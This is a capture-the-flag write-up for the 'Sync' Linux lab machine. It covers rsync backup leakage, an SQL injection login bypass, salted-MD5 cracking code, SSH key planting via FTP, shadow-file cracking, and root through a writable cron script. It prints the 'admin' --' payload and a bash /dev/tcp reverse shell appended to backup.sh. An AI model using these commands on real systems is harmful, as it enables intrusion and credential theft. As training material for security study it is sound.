Skip to main content

Machine (Easy) - Sync

Writeup for the Sync machine, an easy-level Linux box, involves exploiting services like FTP, HTTP, SSH, and rsync to gain root access.

Writeup Author: BobBuilder


Objective: Compromise the machine by leveraging rsync to download a site backup, exploiting a SQL injection vulnerability, cracking a password, and escalating privileges through a writable backup script executed by root.

Category Difficulty Platform Machine Author
Machine Easy Linux xct


Enumeration

nmap -sV -p- <sync_ip>

Key findings:

  • 21/tcp: FTP (vsftpd 3.0.5)
  • 22/tcp: SSH (OpenSSH 8.9p1)
  • 80/tcp: Apache 2.4.52 — hosts a web login page
  • 873/tcp: rsync — exposed file sync service

User

Web Enumeration

Using ffuf, we fuzz for files and directories:

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -u http://<sync_ip>/FUZZ

Notable files:

  • index.php — login page
  • dashboard.php — redirects post-authentication
  • .htaccess, .php — restricted

Rsync Backup Leak

We check if the public rsync share is accessible:

rsync <sync_ip>::

Output:

httpd           web backup

List the contents:

rsync <sync_ip>::httpd

We retrieve the entire directory:

rsync -avzP <sync_ip>::httpd sync/

Contains:

  • db/site.db: SQLite DB
  • www/: PHP source files including index.php, dashboard.php

Offline Analysis: Database and Source Code

Open the SQLite DB:

sqlite3 sync/db/site.db
sqlite> SELECT * FROM users;

Users:

  • admin and triss with MD5-style hashes

Inspecting index.php, we find a vulnerable login:

$result = $db->query("SELECT * FROM users WHERE username = '$username' AND password= '$hash'");

This is vulnerable to SQL injection.

SQL Injection Login Bypass

We test credentials:

username: admin' --
password: #

We gain access to the dashboard without cracking the hash.

Source-Based Hash Cracking

The hash formula is:

$hash = md5("$secure|$username|$password");

We extract the salt:

  $secure = "<REDACTED_SALT>";

We brute-force with a Python script:

import hashlib
salt = "<REDACTED_SALT>"
target_hashes = {
    "admin": "<REDACTED_HASH>",
    "triss": "<REDACTED_HASH>"
}
with open("rockyou.txt", encoding="utf-8", errors="ignore") as f:
    for username, target_hash in target_hashes.items():
        for pw in f:
            combo = f"{salt}|{username}|{pw.strip()}"
            if hashlib.md5(combo.encode()).hexdigest() == target_hash:
                print(f"[✔] {username}: {pw.strip()}")

Result:

triss: <REDACTED>

FTP Access + SSH Key Injection

Login to FTP:

ftp triss@<sync_ip>

Create .ssh and upload key:

ftp> mkdir .ssh
ftp> cd .ssh
ftp> put ~/.ssh/id_rsa.pub authorized_keys
ftp> chmod 700 ../.ssh
ftp> chmod 600 authorized_keys

Login via SSH:

ssh -i ~/.ssh/id_rsa triss@<sync_ip>

Root

Session Persistence + Local Discovery

We find a tmux socket under /tmp/tmux-1003, but the directory is empty.

Additionally, a backup script is found:

ls -lah /usr/local/bin/backup.sh
-rwxr-xr-x 1 sa sa 211 Apr 19  2023 /usr/local/bin/backup.sh

We confirm it's owned and writable by user sa, and executed periodically, in /backup

#!/bin/bash
mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup

Dumping Shadow File and Cracking

Dumping the most recent zip in /backup, we find user hashes in /etc/shadow.

We combine shadow and passwd and crack:

unshadow passwd shadow > unshadowed.txt
john --format=crypt unshadowed.txt

Results:

  • triss: <REDACTED>
  • sa: <REDACTED>
  • jennifer: <REDACTED>

Switch user:

su sa

Root Shell via Cron Execution

As sa, we can edit the backup.sh file. We append a reverse shell:

echo "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" >> /usr/local/bin/backup.sh

Wait for cron execution (runs every 2 minutes).
Set up listener:

nc -lvnp 4444

Result: Root shell.